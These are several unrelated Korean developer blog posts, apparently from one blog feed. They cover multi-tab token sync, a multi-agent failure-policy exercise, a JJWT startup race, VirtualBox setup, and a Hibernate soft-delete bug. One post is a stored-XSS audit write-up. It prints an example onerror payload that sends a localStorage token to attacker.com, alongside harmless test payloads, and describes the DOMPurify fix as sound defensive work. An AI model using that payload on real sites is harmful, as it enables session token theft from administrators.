"탭 A에서는 관리자 계정으로 작업 중인데, 탭 B에서 테스트용 학생 계정으로 로그인했더니 탭 A의 화면이 관리자 권한 그대로 남아있다?!" XSS 방어를 위해 Access Token은 탭 메모리 에 두고, Refresh Token은 HttpOnly 쿠키 로 관리하는 모던 웹 인증 아키텍처에서 필연적으로 마주치는 '멀티 탭 세션 불일치' 와 '토큰 회전(RTR) 동시성 경합' 을 해결한 실전 트러블슈팅 기록입니다. 🚨 1. 증상: 탭 사이에서 엇갈리는 계정의 유령 사용자(특히 관리자/매니저)가 여러 탭을 띄워두고 작업할 때 다음과 같은 기묘하고 위험한 현상이 발견되었습니다: [시나리오] 1. 탭 A: '관리자'로 로그인 ➡️ 관리자 전용 대시보드 조회 중 2. 탭 B: 테스트를 위해 로그아웃 후 '일반 학생' 계정으로 로그인 3. 결과: 탭 A는 여전히 관리자 화면과 권한이 그대로 유지됨! 더 심각한 문제는 Access Token 만료 시점(30분 뒤) 에 터졌습니다. 탭 A의 메모리에 있던 옛 Access Token이 만료되자, 백그라운드에서 /auth/refresh 를 호출합니다. 이때 브라우저는 공유 쿠키에 들어있는 '학생 계정의 Refresh Token' 을 서버로 실어 보냅니다. 그 결과, 탭 A의 화면은 여전히 '관리자' 화면인데, API 요청은 '학생' 토큰으로 나가며 권한 오류(403)가 터지거나 화면과 실제 요청 주체가 뒤죽박죽 꼬이는 현상이 발생했습니다. 🔍 2. 근본 원인: 메모리 토큰과 공유 쿠키의 태생적 간극 보안을 위해 설계한 아키텍처 자체가 원인이었습니다: Access Token & User State : 각 탭의 독립된 JS 메모리( AuthContext ) 에만 존재합니다. Refresh Token : 브라우저의 모든 탭이 공유하는 HttpOnly 쿠키 에 존재합니다. 탭 B에서 로그인/로그아웃을 해도 탭 A는 이 사실을 전혀 전달받지 못하므로, 최대 30분 동안 옛날 계정의 신분(Identity)을 붙잡고 있었던 것입니다. ⚠️ 또 다른 복병: Refresh Token Rotation (RTR) 동시성 폭탄 우리 백엔드는 보안을 위해 토큰 갱신 시마다 리프레시 토큰을 교체(Rotate)하고, 이미 사용된 옛날 토큰이 들어오면 '토큰 탈취'로 간주하여 사용자의 모든 세션을 강제 파기 하는 정책을 가지고 있었습니다. 만약 여러 탭이 동시에 켜진 상태에서 *"다른 탭 로그인 시 모든 탭이 각자 refresh를 호출하게 하자"*라고 단순하게 접근하면: 탭 A, B, C가 동시에 /auth/refresh 를 호출 ➡️ 찰나의 차이로 늦게 도착한 요청이 이전 토큰을 들고 감 ➡️ 서버가 탈취로 오인해 모든 탭을 강제 로그아웃시키는 참사 로 이어집니다. 🛠️ 3. 해결 방안: 브라우저 최신 표준 API 2가지의 조합 서버 코드는 단 한 줄도 건드리지 않고, 브라우저 표준 Web API인 BroadcastChannel 과 Web Locks API 를 도입하여 문제를 깔끔하게 종결지었습니다. 1 BroadcastChannel 로 탭 간 실시간 신분 동기화 AuthContext 에 브로드캐스트 채널을 연결하여, 로그인/로그아웃/회원전환이 일어날 때마다 모든 탭에 확성기를 켭니다: // frontend/src/contexts/AuthContext.tsx const authChannel = new BroadcastChannel('auth-sync-channel'); export const AuthProvider = ({ children }) => { // 1. 로그인/로그아웃 시 다른 탭으로 전파 const login = (token: string, user: User) => { setAccessToken(token); setUser(user); authChannel.postMessage({ type: 'LOGIN', accessToken: token, user }); }; const logout = () => { resetAuthState(); authChannel.postMessage({ type: 'LOGOUT' }); }; // 2. 다른 탭에서 날아온 메시지 수신 useEffect(() => { authChannel.onmessage = (event) => { const { type, accessToken, user } = event.data; if (type === 'LOGIN') { // 다른 탭이 각자 refresh를 때리지 않고, 받은 최신 토큰/유저로 즉시 교체! setAccessToken(accessToken); setUser(user); } else if (type === 'LOGOUT') { resetAuthState(); } }; }, []); }; 핵심 포인트 : 다른 탭이 직접 서버에 refresh 를 요청하게 만들지 않고, 로그인 성공 탭이 이미 발급받은 새 토큰과 유저 정보를 그대로 복사 전달 함으로써 불필요한 네트워크 요청과 RTR 충돌을 원천 차단했습니다. 2 Web Locks API ( navigator.locks )로 탭 간 토큰 갱신 직렬화 여러 탭이 동시에 켜져 있다가 거의 같은 시점에 Access Token이 만료될 때를 대비해, 갱신 요청을 브라우저 탭들 사이에서 Mutex(상호 배제) 로 묶어주었습니다: // frontend/src/api/apiClient.ts export async function refreshAccessToken(): Promise<string> { // Web Locks API가 지원되는 최신 브라우저 환경 if (navigator.locks) { return await navigator.locks.request('auth-token-refresh-lock', async () => { // 락(Lock)을 획득한 딱 하나의 탭만 네트워크 요청을 보냄 // 이미 다른 탭이 갱신을 끝냈다면 최신 쿠키를 들고 안전하게 진입 return await executeRefreshRequest(); }); } // 미지원 구형 브라우저 폴백 return await executeRefreshRequest(); } 🧪 4. 검증 결과 멀티 탭 동기화 테스트 : 탭 A(관리자 대시보드) 열어둔 상태에서 탭 B에서 학생 로그인 ➡️ 탭 A가 새로고침 없이 즉시 학생 권한으로 동기화되며 관리자 메뉴 자동 소멸 . 탭 B에서 로그아웃 ➡️ 탭 A 즉시 로그인 안내 페이지로 전환 (새로고침 불필요) . 토큰 갱신 레이스 컨디션 테스트 : 5개 탭을 동시에 띄워두고 토큰 만료 시뮬레이션 ➡️ Web Locks 덕분에 1개 탭만 직렬로 갱신을 수행하고, RTR 세션 파기 오류 발생률 0건 달성. 💡 이번 트러블슈팅을 통해 얻은 교훈 메모리 저장소의 맹점 : SPA에서 Access Token을 변수(메모리)에 저장하는 것은 XSS 방어에 훌륭하지만, 멀티 탭 상태 불일치라는 부작용을 동반합니다. 현대 브라우저 API를 적극 활용하라 : 예전에는 localStorage 의 storage 이벤트 꼼수를 썼지만, 지금은 BroadcastChannel 과 navigator.locks 라는 훨씬 우아하고 표준적인 해결책이 존재합니다. 보안(RTR)과 사용자 경험(멀티탭)은 상충하기 쉽지만, 프론트엔드 단계의 세밀한 동기화 설계로 두 마리 토끼를 모두 잡을 수 있습니다.
Multi-Agent Workflow에서는 여러 Agent가 각자의 작업을 수행한다. 그렇다면 여러 Agent 중 하나가 실패했을 때는 어떻게 해야 할까? 처음에는 Agent 하나가 실패하면 전체 Workflow도 실패하는 흐름을 생각했는데, 05_partial_failure.py 실습에서는 같은 실패를 서로 다른 정책으로 처리하고 있었다. Agent 하나가 실패했다고 항상 전체 Workflow를 중단해야 할까? 이번 실습에서는 Fail Fast , Best Effort , Required/Optional 세 가지 정책을 비교하고, 실패하는 Agent를 직접 바꿔보면서 결과가 어떻게 달라지는지 확인했다. 선택 Agent가 실패한 경우 기본 실습에서는 Weather와 Budget Agent는 성공하고, Place Agent가 실패한 상황이었다. Weather Agent → 성공 [필수] Budget Agent → 성공 [필수] Place Agent → 실패 [선택] 코드에서는 필수 Agent가 다음과 같이 정의되어 있었다. REQUIRED_AGENTS = {"weather_agent", "budget_agent"} 따라서 실패한 place_agent 는 필수 결과에 포함되지 않는다. 이 상태에서 세 가지 실패 정책을 적용하자 결과가 달라졌다. 정책 계속 실행 이유 Fail Fast ❌ Agent 하나라도 실패하면 중단 Best Effort ✅ 성공한 결과가 있으므로 계속 Required/Optional ✅ 실패한 Place가 필수 Agent가 아니므로 계속 실제 실행 결과에서도 Required/Optional 의 경우 필수 결과 누락이 없었다. failed_agents: ['place_agent'] missing_required: [] can_continue: True termination_reason: 'continue_with_available_results' 그렇다면 필수 Agent가 실패하면 어떻게 될까? 여기서 한 가지가 더 궁금해졌다. Required/Optional 정책에서는 Place Agent가 실패해도 Workflow를 계속할 수 있었다. 그렇다면 선택 Agent가 아니라 필수 Agent가 실패하면 결과가 달라질까? 이를 확인하기 위해 기존 코드에서 실패 대상을 place_agent 에서 budget_agent 로 직접 변경해봤다. 기존 코드는 다음과 같았다. RESULTS = { "weather_agent": {"status": "completed"}, "budget_agent": {"status": "completed"}, } ERRORS = { "place_agent": "Provider timeout" } 실패 Agent를 Budget으로 바꾸면서 성공 결과도 함께 변경했다. RESULTS = { "weather_agent": {"status": "completed"}, "place_agent": {"status": "completed"}, } ERRORS = { "budget_agent": "Provider timeout" } 필수 Agent를 정의하는 REQUIRED_AGENTS 는 그대로 유지했다. REQUIRED_AGENTS = { "weather_agent", "budget_agent" } 즉 이번에는 다음 상황을 만든 것이다. Weather Agent → 성공 [필수] Place Agent → 성공 [선택] Budget Agent → 실패 [필수] 같은 정책인데 결과가 달라졌다 코드를 다시 실행하자 budget_agent 가 missing_required 에 포함됐다. failed_agents: ['budget_agent'] missing_required: ['budget_agent'] 그리고 Required/Optional 정책은 더 이상 Workflow를 계속할 수 없다고 판단했다. policy: 'required_optional' can_continue: False termination_reason: 'required_result_failed' 두 실험을 비교하면 차이가 더 명확하다. 실패한 Agent Fail Fast Best Effort Required/Optional Place Agent [선택] 중단 계속 계속 Budget Agent [필수] 중단 계속 중단 Fail Fast 는 Agent 하나가 실패하면 중단했고, Best Effort 는 성공한 결과가 남아 있으면 계속 진행했다. 가장 차이가 명확했던 것은 Required/Optional 이었다. Place Agent가 실패했을 때는 필수 결과가 모두 남아 있어 계속할 수 있었지만, 필수 Agent인 Budget이 실패하자 missing_required 에 포함되면서 Workflow가 중단됐다. 실패 여부만 보는 것이 아니었다 이번 실습에서 중요한 것은 어떤 정책이 항상 더 좋은지를 고르는 것이 아니었다. Workflow마다 반드시 필요한 결과와 허용할 수 있는 실패가 다르기 때문이다. 이번 실습에서는 Weather와 Budget을 필수 Agent로 정의하고 Place를 선택 Agent로 두었다. 따라서 Place가 실패해도 Required/Optional 정책에서는 계속 진행할 수 있다고 판단하지만, Budget이 실패하면 필수 결과가 누락된 것으로 판단해 중단한다. 특히 실패가 발생한 뒤 그때그때 계속할지 결정하는 것이 아니라, 어떤 결과가 필수인지와 실패했을 때 어떻게 처리할지를 Workflow 정책으로 미리 정의한다는 점 이 중요했다. 정리 이번 실습에서는 선택 Agent였던 Place의 실패를 필수 Agent인 Budget의 실패로 직접 바꿔 실행해봤다. 그 결과 같은 Required/Optional 정책에서도 Place가 실패했을 때는 계속 진행할 수 있었지만, Budget이 실패하자 required_result_failed 로 중단되는 것을 확인했다. 이를 통해 Multi-Agent Workflow에서는 단순히 “Agent가 실패했는가?” 만 판단하는 것이 아니라, 어떤 결과가 반드시 필요한지, 어떤 실패를 허용할지, 언제 Workflow를 중단할지를 미리 정책으로 정의하는 것 이 중요하다는 점을 이해할 수 있었다. GitHub 이번 실습과 관련된 코드는 GitHub에서 확인할 수 있다. 📂 Orchestration - Partial Failure https://github.com/jbbdyee/aidevs/blob/main/07_multi-agent-service-ops/04_orchestration/05_partial_failure.py
새 버전을 무중단 배포하고 나면 이상하게 배포 직후 1~2초 동안만 간헐적으로 500 에러 가 튀는 현상이 발생했습니다. 잠시 후 다시 요청하면 아무 일도 없었다는 듯 정상 동작하는 기묘한 버그... 범인은 바로 JJWT 라이브러리 내부의 Java ServiceLoader 동시성 경합이었습니다. 🚨 1. 증상: 배포 직후 첫 요청들의 의문의 500 폭탄 서비스를 새 버전으로 빌드하여 배포한 직후, 로그인된 상태로 대기 중이던 사용자의 요청이나 헬스체크 트래픽 중 일부가 500 Internal Server Error를 뱉었습니다. 서버의 app.log 를 열어보니 아래와 같은 스택트레이스가 찍혀 있었습니다: java.util.NoSuchElementException at java.base/java.util.ServiceLoader$2.next(ServiceLoader.java:1308) at io.jsonwebtoken.impl.lang.Services.loadFirst(Services.java:98) at io.jsonwebtoken.impl.DefaultJwtParserBuilder.build(DefaultJwtParserBuilder.java:128) at kr.co.allteachers.global.auth.jwt.JwtUtil.parseToken(JwtUtil.java:50) 더 당황스러웠던 점은: 배포 직후 첫 몇 번의 요청에서만 발생하고, 그 이후에는 아무리 부하를 주어도 100% 정상 작동하며 재현되지 않았습니다. 🔍 2. 원인 분석: ServiceLoader 는 스레드 안전(Thread-safe)하지 않다 스택트레이스를 따라 io.jsonwebtoken 라이브러리의 소스코드를 파고들었습니다. JJWT는 JWT 토큰을 파싱하기 위해 JwtParser 를 처음 빌드할 때, JSON 파서 프로바이더(예: Jackson 프로바이더인 jjwt-jackson )를 찾기 위해 Java 표준 유틸리티인 java.util.ServiceLoader 를 사용합니다. // JJWT 내부의 Services.java 발췌 public static <T> T loadFirst(Class<T> spi) { ServiceLoader<T> l = ServiceLoader.load(spi); Iterator<T> i = l.iterator(); if (i.hasNext()) { // 💥 여러 스레드가 동시에 접근하면? return i.next(); } // ... } 왜 기동 직후에만 터졌을까? 스프링 부트 애플리케이션이 뜨자마자 임베디드 톰캣(Tomcat)이 외부 요청을 받기 시작합니다. 이때 여러 사용자의 요청이 동시에 인입 되면서, 각자의 스레드에서 아직 초기화되지 않은 JwtUtil.parseToken() 을 동시에 호출합니다. 문제의 ServiceLoader 는 Thread-safe 하지 않은 내부 Iterator 상태를 가집니다. 스레드 A가 hasNext() 를 확인하고 next() 를 꺼내려는 찰나에, 스레드 B가 이미 요소를 소모해 버려 스레드 A에서 NoSuchElementException 이 터진 것입니다! 한 번이라도 프로바이더 로딩이 끝나면 메모리에 캐싱되므로, 그 이후에 들어오는 요청들은 경합 없이 정상 통과되었던 것입니다. 🛠️ 3. 해결책: 애플리케이션 시작 시 웜업(Warm-up) 시키기 원인을 알았으니 해결은 명쾌했습니다. "실제 사용자의 요청이 들어오기 전에, 스프링 컨텍스트가 뜰 때 미리 동기적으로 JWT 파서를 한 번 호출해서 캐싱을 끝내두자!" 스프링 빈의 생명주기를 활용하여 @PostConstruct 를 통해 웜업 로직을 추가했습니다: @Component public class JwtUtil { // ... 기존 JWT 유틸 코드 ... /** * JJWT 내부 ServiceLoader 동시성 경합 방지를 위한 웜업 * 임베디드 웹서버가 실제 트래픽을 받기 전, 스프링 초기화 시점에 * 더미 토큰을 한 번 파싱하여 JSON 프로바이더 캐싱을 완료한다. */ @PostConstruct void warmUpJwtParser() { try { String dummyToken = generateAccessToken(0L, "WARMUP_WARMUP"); parseToken(dummyToken); log.info("JWT Parser warmup completed successfully."); } catch (Exception e) { log.warn("JWT Parser warmup failed: {}", e.getMessage()); } } } 🧪 4. 검증 결과 멀티스레드 동시 요청 테스트 : 웜업 적용 전: 기동 직후 20개 스레드로 동시 요청 시 1~3건 간헐적 500 에러 발생. 웜업 적용 후: 기동 직후 50개 스레드 동시 요청 시 500 에러 0건 , 전건 200 OK 통과. 운영 환경 배포 : 배포 직후 헬스체크 및 실사용자 인입 시 500 에러 발생률 0% 달성. 💡 이번 트러블슈팅의 핵심 교훈 지연 로딩(Lazy Loading)의 동시성 위험 : 라이브러리 내부에서 첫 호출 시점에 리소스를 로딩하는 구조는 멀티스레드 환경에서 언제든 경합(Race Condition)을 유발할 수 있습니다. 배포 직후 발생하는 에러는 '웜업'을 의심하라 : 배포 직후에만 잠깐 터졌다가 사라지는 에러는 대부분 클래스 로딩, 커넥션 풀 초기화, 캐시 미스에 의한 동시성 이슈일 가능성이 높습니다. @PostConstruct 를 통한 사전 웜업은 복잡한 서드파티 라이브러리의 동시성 문제를 가장 깔끔하고 안전하게 방어하는 테크닉 중 하나입니다.
"관리자 전용 페이지니까 안전하겠지?" 이 안일한 방심이 관리자의 세션과 토큰을 한순간에 털리게 만드는 저장형 XSS(Stored XSS) 의 문을 열어줄 뻔했습니다. 프론트엔드 코드 보안 감사를 진행하던 중 관리자 이메일 발송 내역 페이지에서 발견된 치명적인 XSS 취약점과, DOMPurify를 통한 살균 검증 과정을 정리합니다. 🚨 1. 발견: 관리자 화면에 도사리고 있던 위험한 구멍 정기적인 프론트엔드 코드 보안 리뷰를 진행하며 전체 프로젝트에서 dangerouslySetInnerHTML 의 사용처를 전수 검색(grep)하고 있었습니다. 대부분의 공개 페이지는 이미 DOMPurify 로 안전하게 감싸진 공용 컴포넌트( RichTextViewer )를 통해 렌더링되고 있었으나, 단 한 곳에서 날것의 코드가 튀어나왔습니다: // ❌ pages/Admin/Email/index.tsx <div className="email-content-preview" dangerouslySetInnerHTML={{ __html: log.messageContent }} /> 공격 시나리오 (Stored XSS) 시스템을 이용하는 누군가가 WYSIWYG 에디터를 통해 악성 스크립트가 담긴 메일 본문을 전송하거나 DB에 저장합니다. 예: <img src=x onerror="fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))"> 나중에 최고 관리자 가 발송 내역을 모니터링하기 위해 해당 메일 이력을 클릭하여 펼쳐봅니다. 살균(Sanitize)되지 않은 HTML이 그대로 렌더링되면서 관리자 브라우저에서 공격자의 자바스크립트가 실행 됩니다! 결과 : 관리자의 Access Token, 권한, 내부 기밀 데이터가 공격자의 서버로 고스란히 유출됩니다. 관리자 화면은 접근 권한이 높은 만큼, XSS가 터졌을 때의 파급력은 일반 사용자 화면보다 수십 배 치명적입니다. 🔍 2. 원인 분석: 규칙은 있었지만, 강제할 장치가 없었다 더 뼈아팠던 점은, 우리 팀에 이미 이 문제를 완벽하게 방어하는 공용 컴포넌트가 존재했다는 사실 이었습니다: // components/RichTextViewer.tsx - 다른 6개 페이지에서는 모범적으로 사용 중 import DOMPurify from 'dompurify'; export const RichTextViewer = ({ content }: { content: string }) => { const cleanHtml = DOMPurify.sanitize(content); return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />; }; 다른 개발자들은 공지사항, 강의 상세, 약관 페이지 등에서 전부 RichTextViewer 를 통해 안전하게 렌더링하고 있었습니다. 하지만 관리자 화면을 개발하던 팀원이 *"어차피 관리자만 보는 화면이니까"* 혹은 컴포넌트의 존재를 미처 인지하지 못하고 원시 React 문법인 dangerouslySetInnerHTML 을 직접 작성 해 버린 것이었습니다. 🛠️ 3. 해결책: 즉각적인 교체와 실제 악성 페이로드 검증 1 안전한 컴포넌트로 교체 // AS-IS <div dangerouslySetInnerHTML={{ __html: log.messageContent }} /> // TO-BE (DOMPurify가 내장된 공용 뷰어로 교체) <RichTextViewer content={log.messageContent} /> 2 악성 XSS 페이로드를 통한 살균 검증 이론상 안전하다는 것에 만족하지 않고, 로컬 테스트 DB의 발송 이력 데이터에 악성 페이로드를 직접 삽입하여 브라우저에서 검증을 진행했습니다: <!-- 테스트용 악성 공격 페이로드 --> <p>정상적인 이메일 본문 내용입니다.</p> <img src="invalid_image.png" onerror="window.__xssFired=true;"> <script>window.__xssFired=true;</script> 검증 결과: 관리자로 로그인하여 이메일 발송 이력을 클릭해 펼침. 개발자 도구 콘솔에서 window.__xssFired 확인 ➡️ undefined (스크립트 실행 실패!) 브라우저가 실제 렌더링한 최종 DOM 확인: <script> 태그 ➡️ 흔적도 없이 완전 제거됨 <img src="..." onerror="..."> ➡️ 위험한 onerror 속성만 깔끔하게 제거되고 <img> 태그만 안전하게 렌더링됨 💡 이번 트러블슈팅을 통해 얻은 교훈 규칙을 '사람의 기억'에 의존하지 말 것 : 팀 내에 좋은 컴포넌트가 있어도, 새로 들어온 개발자나 바쁜 일정 속에서는 누구나 원시 API를 쓸 수 있습니다. ESLint에 react/no-danger 룰을 켜서 dangerouslySetInnerHTML 을 직접 쓰는 코드에 빨간 줄을 띄우거나, CI 단계에서 빌드를 실패하게 만들어야 안전합니다. 관리자 페이지가 가장 매력적인 타깃이다 : "내부 관리자만 쓰니까 괜찮다"는 생각은 보안에서 가장 위험한 구멍입니다. 공격자는 관리자의 높은 권한을 노려 내부 시스템에 침투합니다. 주기적인 보안 grep 키워드 감사 ( dangerouslySetInnerHTML , eval() , innerHTML 등)는 10분 만에 거대한 보안 사고를 예방할 수 있는 가장 가성비 높은 습관입니다.
VM을 깔고 본격적으로 실습을 하려는데 원래 쓰던 것과 차이가 있어서 참 뭐든 쉽지 않다 vm 안에서 마우스를 잡으면 마우스가 바깥으로는 나오지 못하는데 이 부분을 해결해보고자 한다 환경 Rocky Linuc9.0 (Server with GUI). VirtualBox 7.2.20 증상 VM창을 클릭하면 마우스가 VM 안에 갇혀서, 창 밖(Window)에서는 마우스가 작동하지 않는다 원인 VM 안에 마우스 연동 기능이 없어서 VM이 마우스와 키보드를 "붙잡고(캡처)"있는 것이다. 설치 직후에는 정상적인 현상이다. 해결하려면 게스트 추가 기능 을 설치해야 한다 임시 탈출 기본 호스트 키는 오른쪽 Ctrl이다. 키보드마다 안 먹는 경우가 있어서, 안 되면 환경 설정->입력->가상 머신 탭에서 호스트 키를 바꿀 수 있다 용어 호스트: VM을 돌리는 실제 PC의 OS (Windows 11) 게스트: VM 안에서 돌아가는 OS (Rocky Linux) 게스트 추가 기능: 게스트 안에 설치하는 드라이버 모음. 마우스 연동, 화면 자동 조절, 클립보드 공유가 가능해진다 게스트 확장 CD 이미지: 게스트 추가 기능 설치 파일이 담긴 가상 CD. 메뉴에서 삽입하면 VM의 CD 드라이브에 꽂힌다 Sudo 권한이 없을 때 설치 명령에 sudo 를 쓰니 다음 오류가 나왔다 이름 is not in the sudoers file 원인 일반 사용자 계정이 sudo 권한 그룹(wheel)에 없었다. 설치 화면의 "Make this user administrator"를 체크하지 않으면 이렇게 된다 해결 su - # root로 전환 (root 비밀번호 입력) usermod -aG wheel 사용자이름 # wheel 그룹에 추가 exit 로그아웃 후 재로그인하고 sudo whoami가 root를 출력하면 성공이다 설치 준비 Guest Additions는 커널 모듈을 빌드하므로 도구가 필요하다 sudo dnf install -y epel-release sudo dnf install -y gcc make perl bzip2 elfutils-libelf-devel tar sudo dnf install -y kernel-devel-$(uname -r) kernel-headers-$(uname -r) kernel-devel 은 실행 중인 커널과 버전이 같아야 한다 이번에는 dnf update 까지 했는데, DVD ISO로 설치한 직후라 밀린 업데이트가 많아서 매우 오래 걸렸다. 다운로드 단계에서는** Ctrl+C**로 끊어도 안전하지만 설치 단계에서는 끊으면 안 된다 사실 Guest Additions 설치에 전체 업데이트는 필수가 아니다 커널이 업데이트됐다면 재부팅 후 kernel-devel 을 새 커널 기준으로 다시 설치한다 CD 마운트에서 막힌 부분 1 can't find in /etc/fstab mount /dev/cdrom /mnt/cdrom을 실행하니 이 오류가 나왔다. 장치를 찾지 못했다는 뜻이다. 이유는 두 가지였다 GUI 환경에서는 CD를 삽입하면 자동으로 마운트되므로 직접 mount할 필요가 없었다 lsblk로 확인하니 sr0(TYPE: rom)이 /run/media/eunji/...에 이미 마운트 돼 있었다. 2 /mnt/cdrom이 비어 있음 직접 만든 /mnt/cdrom에 ls를 하니 아무것도 안 나왔다. 폴더만 만들었을 뿐 마운트가 되지 않은 빈 폴더였기 때문이다 3 경로를 찾을 수 없음 자동 마운트된 경로로 cd했더니 "그런 파일이나 디렉터리가 없다"고 나왔다. 원인은 리눅스는 경로의 대소문자와 숫자를 정확히 구분한다는 점이다. 직접 입력한 이름이 실제와 달랐다 해결: 이름을 직접 치지 말고 ls로 실제 이름을 확인한 뒤 Tab 자동완성을 사용했다. cd /run/media/eunji/ ls # 실제 폴더 이름 확인 cd VBox_GAs # 여기까지 치고 Tab 키로 자동완성 설치와 확인 ls # VBoxLinuxAdditions.run이 있는지 확인 sudo sh ./VBoxLinuxAdditions.run sudo reboot 재부팅을 하면 이제 마우스가 돼야하는건데......!! 재부팅 후 마우스가 VM 창 밖으로 자연스럽게 나갔다ᅮᅮ.ᅮᅮᅮ.ᅮᅮᅮ 설치 여부는 아래로도 확인할 수 있다 lsmod | grep vbox * 추가로 켜 두면 좋은 설정 * 보기 → 자동 크기 조절 디스플레이 : 창 크기에 맞춰 VM 화면 해상도가 조절된다 장치 → 클립보드 공유 → 양방향 : 호스트와 게스트 사이 복사/붙여넣기 이번에 배운 점 VM에서 마우스가 갇히는 건 오류가 아니라 Guest Additions 설치 전의 정상 상태이다 Guest Additions는 빌드 도구 설치 → 게스트 확장 CD 삽입 → 설치 스크립트 실행 → 재부팅 순서이다 리눅스 경로는 대소문자, 숫자까지 정확히 입력해야 한다. 직접 치지 말고 ls와 Tab 자동완성을 쓴다 GUI 환경에서는 CD가 자동 마운트되니, 수동 mount 전에 lsblk로 먼저 확인한다 dnf update는 오래 걸릴 수 있으니 진행 중에는 건드리지 않는다 이 마우스로 시간을 너무 써서ᅳᅳ ip 설정을 아직 못했다 이제 밥 먹고 오면 ip 설정까지 해보겠어효 끝 !!! !!! !!! !! !! !!
"분명 탈퇴 여부를 검사하는 if문이 있는데, 왜 탈퇴 계정 복구가 전혀 동작하지 않았을까?" 소프트 딜리트(Soft Delete)를 구현할 때 흔히 사용하는 Hibernate의 전역 엔티티 필터인 @SQLRestriction 이 어떻게 5개 비즈니스 로직을 조용히 '죽은 코드(Dead Code)'로 만들어버렸는지, 그리고 이를 어떻게 해결했는지에 대한 실전 백엔드 트러블슈팅 기록입니다. 🚨 1. 증상: 조용히 마비되어 있던 탈퇴 계정 복구 기능들 보안 코드 리뷰를 진행하던 중, 놀랍게도 서비스 전반에서 '탈퇴(Soft Delete) 회원의 계정 복구'와 관련된 모든 경로가 사실상 100% 마비 되어 있다는 사실을 발견했습니다: 비밀번호 로그인 시 : 탈퇴 회원이 정확한 이메일/비밀번호를 쳐도 복구 안내( DELETED_ACCOUNT ) 대신 단순 *"이메일 또는 비밀번호가 올바르지 않습니다"*만 반환. 탈퇴 계정 복구 시도 시 : 비밀번호 기반 복구든 이메일 인증 기반 복구든, 항상 *"복구 가능한 탈퇴 계정이 없습니다"*라는 에러만 발생. 소셜(OAuth) 로그인 시 (가장 심각) : 탈퇴한 회원이 카카오/구글 로그인을 시도하면, 복구 안내를 띄우는 게 아니라 아예 기존 이메일을 무시하고 신규 가입 화면으로 이동 . 정상 회원들은 아무 문제 없이 로그인되었기 때문에, 이 버그는 운영 환경에서 아무런 에러 로그도 남기지 않은 채 조용히 방치되어 있었습니다. 🔍 2. 원인 분석: @SQLRestriction 이 만든 보이지 않는 벽 엔티티 코드를 열어보자마자 범인이 드러났습니다: @Entity @Table(name = "users") @SQLRestriction("is_deleted = false") // 💥 Hibernate 전역 필터 public class User { // ... private boolean isDeleted; } JPA에서 탈퇴 회원을 일반 조회에서 자동으로 제외하기 위해 걸어둔 클래스 레벨의 @SQLRestriction("is_deleted = false") 이 문제였습니다. 이 어노테이션이 붙으면, UserRepository.findByEmail() 을 포함해 Spring Data JPA가 생성하는 모든 파생 쿼리와 연관관계 조회에 무조건 AND is_deleted = false 조건이 강제로 삽입 됩니다. 비즈니스 로직에 숨어있던 '죽은 코드(Dead Code)' // AuthService.java public LoginResult login(LoginRequest request) { // ❌ findByEmail()은 애초에 is_deleted = false 조건 때문에 탈퇴 회원을 절대 반환하지 않는다! (항상 null) User user = userRepository.findByEmail(request.getEmail()) .orElseThrow(() -> new BadCredentialsException("이메일 또는 비밀번호 불일치")); // 💥 아래의 if문은 영원히 실행될 수 없는 100% '죽은 코드'였다! if (user.isDeleted()) { return LoginResult.deletedAccount(); } // ... } 개발자는 당연히 user.isDeleted() 분기를 꼼꼼하게 작성해 두었지만, 정작 JPA 조회 단계에서 이미 탈퇴 회원이 걸러져 null 이 리턴되므로 예외가 터져버려 해당 if문에는 평생 도달할 수 없었던 것 입니다. 이와 똑같은 실수가 복구 로직, 소셜 로그인 성공 핸들러, 인증 코드 발송 로직 등 총 5곳의 메서드에 복사-붙여넣기처럼 퍼져 있었습니다. 🛠️ 3. 해결책: 전역 필터를 우회하는 명시적 네이티브 쿼리 도입 Hibernate의 @SQLRestriction 은 JPQL이나 파생 메서드 쿼리에는 무조건 붙지만, nativeQuery = true 로 작성된 순수 SQL에는 개입하지 않습니다. 1 전용 네이티브 조회 메서드 작성 public interface UserRepository extends JpaRepository<User, Long> { // 일반 조회: @SQLRestriction이 적용되어 활성 회원(is_deleted = false)만 조회 Optional<User> findByEmail(String email); // 🚀 탈퇴 회원 포함 조회: 전역 필터를 우회하기 위해 Native Query 사용 @Query(value = "SELECT * FROM users WHERE lower(email) = lower(:email)", nativeQuery = true) Optional<User> findByEmailIncludingDeleted(@Param("email") String email); } 2 탈퇴 여부를 검사해야 하는 5곳의 호출부 전면 교체 AuthService.login() : findByEmailIncludingDeleted 로 교체하여 DELETED_ACCOUNT 시그널 정상 반환. AuthService.restoreAccountWithPassword() / restoreAccount() : 탈퇴 회원을 정확히 조회해 is_deleted = false 로 원상복구. OAuth2SuccessHandler : 탈퇴 회원이 소셜 로그인 시 신규 가입이 아닌 복구 페이지( /restore )로 올바르게 분기. 🧪 4. 검증: 회귀 테스트 추가 AuthServiceTest 에 탈퇴 계정 시나리오를 꼼꼼하게 추가했습니다: 탈퇴한 계정으로 로그인 시도 시 DELETED_ACCOUNT 예외/응답이 정상 반환되는가? 비밀번호/이메일 인증 복구 시 실제로 계정이 활성화되는가? 이미 활성 상태인 회원이 복구 API를 호출하면 올바르게 거절되는가? ➡️ 테스트 4건 모두 작성 및 통과! 💡 이번 트러블슈팅을 통해 얻은 교훈 엔티티 전역 필터(@SQLRestriction, @Where)의 위험성 : 전역 필터는 편리하지만, 코드를 읽는 사람에게 조건을 "암묵적으로 은폐"시킵니다. 비즈니스 로직 작성자는 쿼리 레벨에서 이미 필터링되었다는 사실을 잊고 중복 분기 처리를 하다가 버그를 만들기 쉽습니다. 우회 메서드의 네이밍과 경고 주석 : findByEmailIncludingDeleted 처럼 "이 조회가 전역 필터를 깬다"는 사실을 이름에 명확히 드러내야 합니다. 원본 findByEmail() 의 Javadoc에도 *"탈퇴 회원 조회가 필요한 경우 반드시 findByEmailIncludingDeleted 를 사용하세요"*라는 주석을 남겨 다음 개발자의 실수를 방지해야 합니다.
